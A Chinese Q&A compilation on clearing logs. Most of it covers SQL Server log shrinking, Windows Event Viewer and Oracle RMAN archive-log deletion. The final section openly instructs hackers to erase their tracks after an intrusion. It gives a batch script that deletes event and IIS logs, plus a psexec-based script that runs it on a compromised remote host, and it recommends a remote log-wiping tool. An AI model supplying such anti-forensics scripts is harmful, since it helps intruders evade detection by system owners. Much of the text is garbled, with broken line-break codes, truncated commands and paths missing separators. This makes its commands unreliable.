‘壹’ SQL Server 快速清除日志文件的方法
SQL Server 2000快速清除日志文件的方法
SQL Server 2000 数据库日志太大!
如何清理SQL Server 2000的日志呢?
如何压缩SQL Server 2000的日志呢?
如何让SQL Server 2000的日志变小呢?
据我所知,办法有很多很多,总结起来算有3类吧:
1、点几下鼠标,用SQL Server 2000管理工具中的企业管理器即可实现,待会儿详解;
2、用SQL语句,在SQL Server 2000管理工具中的查询分析器可以实现,此法高级人士喜欢用;
3、用第三方工具实现,原理嘛,我觉得应该是用SQL语句来实现的,这方法好,简单易用,网上不乏精品工具,待会儿介绍一款。
一、现在我们详细描述一下如何用企业管理器清理SQL 2000的日志:
1、打开企业管理器,右击要处理的数据库--》属性--》选项--》故障还原,选“简单”--》确定。如图:
2、右击要处理的数据库--》所有任务--》收缩数据库--》什么也不动,默认第一个是0%,其它两个未选中,点确定--》如果您以前数据库日志文件大于1M那么现在再看看,是不是只有1M了呢。
3、操作完后--》按第一步,把“故障还原”,选“完全”,传说中SQL Server 2000 有自动还原功能,说是如果非法关机等因素造成数据丢失可以自动回滚,另外可以用程序来实现操作回滚,所以最好是让故障还原是“完全”。
4、这样便实现了“SQL Server 2000 数据库日志太大!如何管理,清除,变小,压缩它”中的清除,变小,压缩了,至于怎么管理,自己看着办吧,我一般只会用到这些,再有深入研究的话我会写上来的`。
二、现在我们介绍用第三方SQL Server 日志清理工具来清理日志,简单易用高效,推荐用这个方法。
我喜欢用 SqlServer日志清除专家 v3.5 来实现这个功能。界面如下:
数据库那里一般会将整个服务器的数据库名都列举出来,需要选择为自己账户能管理到的那个,我这里DB_iszip账户能管理的是 iszip ,选择好之后,点“清除日志”按钮,然后SQL Server 2000的日志就被清理好了,此时你去服务器看你数据库日志占用空间就只有1M了。
;‘贰’ 如何清空sql数据库的日志文件
SQLSERVER的数据库日志占用很大的空间,下面提供三种方法用于清除无用的数据库日志文件x0dx0a方法一: x0dx0a1、打开查询分析器,输入命令 x0dx0aBACKUP LOG database_name WITH NO_LOG x0dx0a2、再打开企业管理器--右键要压缩的数据库--所有任务--收缩数据库--收缩文件--选择日志文件--在收缩方式里选择收缩至xxm,这里会给出一个允许收缩到的最小m数,直接输入这个数,确定就可以了。 x0dx0ax0dx0a方法二: x0dx0a设置检查点,自动截断日志 x0dx0ax0dx0a一般情况下,SQL数据库的收缩并不能很大程度上减小数据库大小,其主要作用是收缩日志大小,应当定期进行此操作以免数据库日志过大 x0dx0a1、设置数据库模式为简单模式:打开SQL企业管理器,在控制台根目录中依次点开Microsoft SQL Server-->SQL Server组-->双击打开你的服务器-->双击打开数据库目录-->选择你的数据库名称(如用户数据库cwbase1)-->然后点击右键选择属性-->选择选项-->在故障还原的模式中选择“简单”,然后按确定保存 x0dx0a2、在当前数据库上点右键,看所有任务中的收缩数据库,一般里面的默认设置不用调整,直接点确定 x0dx0a3、收缩数据库完成后,建议将您的数据库属性重新设置为标准模式,操作方法同第一点,因为日志在一些异常情况下往往是恢复数据库的重要依据 x0dx0ax0dx0a方法三:通过SQL收缩日志 x0dx0ax0dx0a把代码复制到查询分析器里,然后修改其中的3个参数(数据库名,日志文件名,和目标日志文件的大小),运行即可 x0dx0ax0dx0aSET NOCOUNT ON x0dx0aDECLARE @LogicalFileName sysname, x0dx0a@MaxMinutes INT, x0dx0a@NewSize INT x0dx0ax0dx0aUSE tablename -- 要操作的数据库名 x0dx0aSELECT @LogicalFileName = 'tablename_log', -- 日志文件名 x0dx0a@MaxMinutes = 10, -- Limit on time allowed to wrap log. x0dx0a@NewSize = 1 -- 你想设定的日志文件的大小(M) x0dx0ax0dx0a-- Setup / initialize x0dx0aDECLARE @OriginalSize int x0dx0aSELECT @OriginalSize = size x0dx0aFROM sysfiles x0dx0aWHERE name = @LogicalFileName x0dx0aSELECT 'Original Size of ' + db_name() + ' LOG is ' + x0dx0aCONVERT(VARCHAR(30),@OriginalSize) + ' 8K pages or ' + x0dx0aCONVERT(VARCHAR(30),(@OriginalSize*8/1024)) + 'MB' x0dx0aFROM sysfiles x0dx0aWHERE name = @LogicalFileName x0dx0aCREATE TABLE DummyTrans x0dx0a(DummyColumn char (8000) not null) x0dx0ax0dx0aDECLARE @Counter INT, x0dx0a@StartTime DATETIME, x0dx0a@TruncLog VARCHAR(255) x0dx0aSELECT @StartTime = GETDATE(), x0dx0a@TruncLog = 'BACKUP LOG ' + db_name() + ' WITH TRUNCATE_ONLY' x0dx0ax0dx0aDBCC SHRINKFILE (@LogicalFileName, @NewSize) x0dx0aEXEC (@TruncLog) x0dx0a-- Wrap the log if necessary. x0dx0aWHILE @MaxMinutes > DATEDIFF (mi, @StartTime, GETDATE()) -- time has not expired x0dx0aAND @OriginalSize = (SELECT size FROM sysfiles WHERE name = @LogicalFileName) x0dx0aAND (@OriginalSize * 8 /1024) > @NewSize x0dx0aBEGIN -- Outer loop. x0dx0aSELECT @Counter = 0 x0dx0aWHILE ((@Counter < @OriginalSize / 16) AND (@Counter < 50000)) x0dx0aBEGIN -- update x0dx0aINSERT DummyTrans VALUES ('Fill Log') x0dx0aDELETE DummyTrans x0dx0aSELECT @Counter = @Counter + 1 x0dx0aEND x0dx0aEXEC (@TruncLog) x0dx0aEND x0dx0aSELECT 'Final Size of ' + db_name() + ' LOG is ' + x0dx0aCONVERT(VARCHAR(30),size) + ' 8K pages or ' + x0dx0aCONVERT(VARCHAR(30),(size*8/1024)) + 'MB' x0dx0aFROM sysfiles x0dx0aWHERE name = @LogicalFileName x0dx0aDROP TABLE DummyTrans x0dx0aSET NOCOUNT OFF x0dx0ax0dx0a方法四:删除日志文件。 x0dx0ax0dx0a此方法有一定的风险性,因为sql server的日志文件不是即时写入数据库主文件的,如处理不当,会造成数据的损失。1、操作前请断开所有数据库连接。 x0dx0a2、分离数据库 x0dx0a分离数据库:企业管理器->服务器->数据库->cwbase1->右键->分离数据库 x0dx0a分离后,cwbase1数据库被删除,但保留了数据文件和日志文件 x0dx0a3、删除log物理文件 x0dx0a删除LOG物理文件,然后附加数据库: 企业管理器->服务器->数据库->右键->附加数据库 x0dx0a此法生成新的log,大小只有500多k。 x0dx0ax0dx0a注意:建议使用第一种方法。操作前请确保所有操作员都已经推出系统,断开数据库的连接。 x0dx0ax0dx0a以上操作前,请务必做好数据备份!x0dx0ax0dx0a1.sql server 2005 清除日志语句 x0dx0ax0dx0amp transaction 数据库名称 with no_log x0dx0abackup log 数据库名称 with no_log x0dx0adbcc shrinkdatabase(数据库名称)
‘叁’ win10如何彻底删除系统日志
在Win10系统里右键开始菜单,选择事件查看器,如下图所示。
在事件查看器里点击Windows日志,如下图所示。
在这里可以按分类点击查看日志,在日志查看器的左边有应用程序日志,安全日志,设置日志,系统日志等等,系统错误一般都在系统选项里,应用程序错误在应用程序选项里,如下图所示。
可以选择某一条系统日志点击右键,选择事件熟悉查看更详细的内容,如下图所示。
在打开的事件属性里,可以查看到详细的信息,点击复制可以把系统日志拷贝出去,如下图所示。
6
在事件查看器的右边栏可以对日志进行快捷键操作,如下图所示。
‘肆’ 如何清空数据库日志文件
2:删除LOG文件 3:附加数据库 企业管理器->服务器->数据库->右键->附加数据库 此法生成新的LOG,大小只有500多K 再将此数据库设置自动收缩或用代码:下面的示例分离 pubs,然后将 pubs 中的一个文件附加到当前服务器。 EXEC sp_detach_db @dbname = 'pubs ' EXEC sp_attach_single_file_db @dbname = 'pubs ', @physname = 'c:\Program Files\Microsoft SQL Server\MSSQL\Data\pubs.mdf ' EXEC sp_attach_db @dbname = N 'pubs ', @filename1 = N 'c:\Program Files\Microsoft SQL Server\MSSQL\Data\pubs.mdf ', @filename2 = N 'c:\Program Files\Microsoft SQL Server\MSSQL\Data\pubs_log.ldf '2:清空日志DUMP TRANSACTION 库名 WITH NO_LOG再:企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件--选择日志文件--在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了清空日志DUMP TRANSACTION 库名 WITH NO_LOG 或截断日志: backup log 数据库 with no_log--清除日志方法1、--在查询分析器,选中所要清理日志的数据库,执行如下SQL backup log 数据库名 with no_log DBCC SHRINKFILE ( 日志文件名或日志文件ID,要缩小的目标大小) 在当前数据库下 select fileid,groupid,name from sysfiles where groupid=0 ---------------------------------------------------------- 得到以下结果 fileid groupid name 2 0 test_log 以上结果,fileid为日志文件ID,name为test_log你可以backup log test with no_log dbcc shrinkfile (2,2)orbackup log test with no_log dbcc shrinkfile ( 'test_log ',2) 如果以后,不想要它变大,在数据库上点右键-> 属性-> 选项-> 故障恢复 模型 选择 简单模型就可以了! 或用SQL语句 alter database 数据库名 set recovery simple方法2、SQL SERVER企业管理器-》SQL SERVER组-》服务器-》数据库-》选中数据库实体-》右键-》所有任务-》分离数据库, 然后到数据库所在物理路径下删除.ldf文件,再数据库右键-》所有任务-》附加数据库,即可,会重新生成日志文件。
‘伍’ 如何清除数据库庞大的日志文件
具体操作方法是: 1.到 开始\程序\Microsoft SQL Server\企业管理器,然后在弹出的窗口中把加号一直打开,最后看到数据库tds_dserp,用鼠标点上这个tds_dserp数据库,然后再点鼠标右键,选 “所有任务”,在新弹出的窗口中选择“分离数据库”(前提是其它机器都不能使用小R3),然后点“确定”按钮; 2.到d:\data\下找到tds_dserp_log.ldf这个文件,然后把它删除掉(先不要彻底删除,放到回收站里就行); 3.再到刚才打开的企业管理器中找到“数据库”这个文件夹,把鼠标点在这个文件夹下,然后再点右键,选择“所有任务”。在新弹出窗口中选择“附加数据库”, 在新弹出的窗口中选择“要附加数据库的MDF文件:”后的带三个点的按钮,然后选择d:\data\tds_dserp.mdf,确定,回到第一个窗口后在“指定数据库所有者”后选择“sa”,然后再确定。 4.经过以上三步数据库的大的日志已经被删除掉了,你再运行一下小R3,只要能登录进去就说明操作没有问题了,这时就可以将回收站里的文件清除掉了。
‘陆’ u810.1如何删除上机日志
需要用sadmin登陆系统管理,进入系统数据清除,然后清除日志里,最后清除上机日志,就可以了。
上级日志是为了保证账套数据的安全,监控软件的使用过程。系统提供了上机日志功能,用于记录什么时间,哪个用户,进行了何种操作,以及操作的结果,以便于留下操作查找线索。
上机日志系统设定为5000条记录,超出5000条记录,系统即按照先进先出的方式删除上机日志记录,保留最新的5000条记录。上机日志记录可进行查看、引出、打印等项处理。
‘柒’ 如何清除sql日志_数据库技巧
1.打开查询分析器,输入命令 DUMP TRANSACTION 数据库名 WITH NO_LOG 2.再打开企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件--选择日志文件--在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了。 清除Log有两种方法: 1.自动清除法 开放数据库选项 Trunc Log on Chkpt,使数据库系统每隔一段时间自动清除Log。此方法的优点是无须人工干预,由SQL Server自动执行,并且一般不会出现Log溢满的情况;缺点是只清除Log而不做备份。 2.手动清除法 执行命令“mp transaction”来清除Log。以下两条命令都可以清除日志: mp transaction with truncate_only mp transaction with no_log 通常删除事务日志中不活跃的部分可使用“mp transaction with trancate_only”命令,这条命令写进事务日志时,还要做必要的并发性检查。SYBASE提供“mp transaction with no_log”来处理某些非常紧迫的情况,使用这条命令有很大的危险性,SQL Server会弹出一条警告信息。为了尽量确保数据库的一致性,你应将它作为“最后一招”。 以上两种方法只?清除日志,而不做日志备份,若想备份日志,应执行“mp transaction database_name to mpdevice”命令。 PS:附一个更好的方法 先分离数据库后,直接删除日志以后,再在查询分析器里用 exec sp_attach_single_file_db 数据库名, .mdf文件路径 命令附加数据库。
‘捌’ 如何正确删除ORACLE归档日志文件
一、首先删除归档日志物理文件,归档日志一般都是位于archive目录下,AIX系统下文件格式为“1_17884_667758186.dbf”,建议操作前先对数据库进行备份,删除时至少保留最近几天的日志用于数据库恢复。
二、把归档日志的物理文件删除后,我们就可以正常登入ORACLE了,但是还没完全把归档日志删除干净,ORACLE的controlfile中仍然记录着这些archivelog的信息,在oracle的OEM管理器中有可视化的日志展现出,当我们手工清除archive目录下的文件后,这些记录并没有被我们从controlfile中清除掉,接下去我们要做的就是这个工作。
我们利用RMAN进行删除操作,操作步骤如下:(window客户端系统为例)
1.指定数据库实例
C:/Documents and Settings/Administrator>SET ORACLE_SID =orcl
2.连接数据库
C:/Documents and Settings/Administrator>RMAN TARGET SYS/sysadmin@orcl
3.查看归档日志的状态
RMAN> list archivelog all;
4.手工删除归档日志文件
RMAN> DELETE ARCHIVELOG ALL COMPLETED BEFORE 'SYSDATE-7';
说明:
SYSDATA-7,表明当前的系统时间7天前,before关键字表示在7天前的归档日志,如果使用了闪回功能,也会删除闪回的数据。
同样道理,也可以删除从7天前到现在的全部日志,不过这个命令要考虑清楚,做完这个删除,最好马上进行全备份数据库
DELETE ARCHIVELOG from TIME 'SYSDATE-7'; 删除从7天前到现在的全部日志,慎用
UNIX/LINUX下也可以通过FIND找到7天前的归档数据,使用EXEC子操作删除
find /oraarchive -xdev -mtime +7 -name "*.dbf" -exec rm -f {} ;
这样做仍然会在RMAN里留下未管理的归档文件
仍需要在RMAN里执行下面2条命令
crosscheck archivelog all;
delete expired archivelog all;
所以还不如上面的方法好用,不过用FIND的好处就是,可以在条件上,和EXEC子项上做很多操作,实现更复杂的功能
5.退出rman
RMAN> exit
‘玖’ 如何彻底清除本地和远程系统日志文件
什么是日志文件?它是一些文件系统集合,依靠建立起的各种数据的日志文件而存在。在任何系统发生崩溃或需要重新启动时,数据就遵从日志文件中的信息记录原封不动进行恢复。日志对于系统安全的作用是显而易见的,无论是网络管理员还是 黑客都非常重视日志,一个有经验的管理员往往能够迅速通过日志了解到系统的安全性能,而一个聪明的黑客会在入侵成功后迅速清除掉对自己不利的日志。无论是攻还是防,日志的重要性由此可见。下面我们就来简单讨论一下日志文件的清除方法。 一、日志文件的位置 Windows 2000的系统日志文件有应用程序日志,安全日志、系统日志、DNS服务器日志等等,应用程序日志、安全日志、系统日志、DNS日志默认位置:%systemroot%system32config。 安全日志文件:%systemroot%system32configSecEvent.EVT 系统日志文件:%systemroot%system32configSysEvent.EVT 应用程序日志文件:%systemroot%system32configAppEvent.EVT 有的管理员很可能将这些日志重定位(所以日志可能不在上面那些位置),其中EVENTLOG下面有很多的子表,在里面可查到以上日志的定位目录。 二、清除自己电脑中的日志 如果你要清除自己电脑中的日志,可以用管理员的身份来登录Windows,然后在“控制面板”中进入“管理工具”,再双击里面的“事件查看器”。打开后我们就可以在这里清除日志文件了,里面有应用程序、安全和系统日志文件。举个例子,比方说你想清除安全日志,可以右键点击“安全日志”,在弹出的菜单中选择“属性”。接下来在弹出的对话框中,点击下面“清除日志”按钮就可以清除了,如果你想以后再来清除这些日志的话,可以将“按需要改写尺寸”,这样就可以在达到最大日志尺寸时进行改写事件了,不会提示你清除日志。 三、清除远程主机上的日志 大多数情况下,IIS的日志会忠实地记录它接收到的任何请求(也有特殊的不被IIS记录的攻击),一个优秀的系统管理员会利用这点来发现入侵的企图,保护自己的系统。所以如果你是黑客,入侵系统成功后第一件事便是清除日志,擦去自己的形迹,这时可以用以下两个办法:一是自己编写批处理文件来解决,编写一个能清除日志的批处理非常简单,方法是:新建一个具有如下内容的批处理文件: @del c:winntsystem32logfiles*.* @del c:winntsystem32config*.evt @del c:winntsystem32dtclog*.* @del c:winntsystem32*.log @del c:winntsystem32*.txt @del c:winnt*.txt @del c:winnt*.log @del c:del.bat 把上面的内容保存为del.bat备用。在上面的代码中echo是DOS下的回显命令,在它的前面加上“@”前缀字符,表示执行时本行在命令行或DOS里面不显示,另外del命令大家一定清楚吧?它是删除文件命令。 接下来再新建一个批处理文件,内容如下: @ del.bat \$ @echo 向肉鸡复制本机的del.bat……OK @psexec \%1 c:del.bat @echo 在肉鸡上运行del.bat,清除日志文件……OK 保存为clean.bat即可,假设已经与肉鸡进行了IPC连接,然后在CMD下输入:clean.bat 肉鸡IP,即可清除肉鸡上的日志文件。 清除日志的另外一个方法是借助第三方软件,如着名黑客软件流光的开发者黑客小榕的elsave.exe,就是是一款可以远程清除系统日志、应用程序日志、安全日志的软件,大家可以在网上下载到。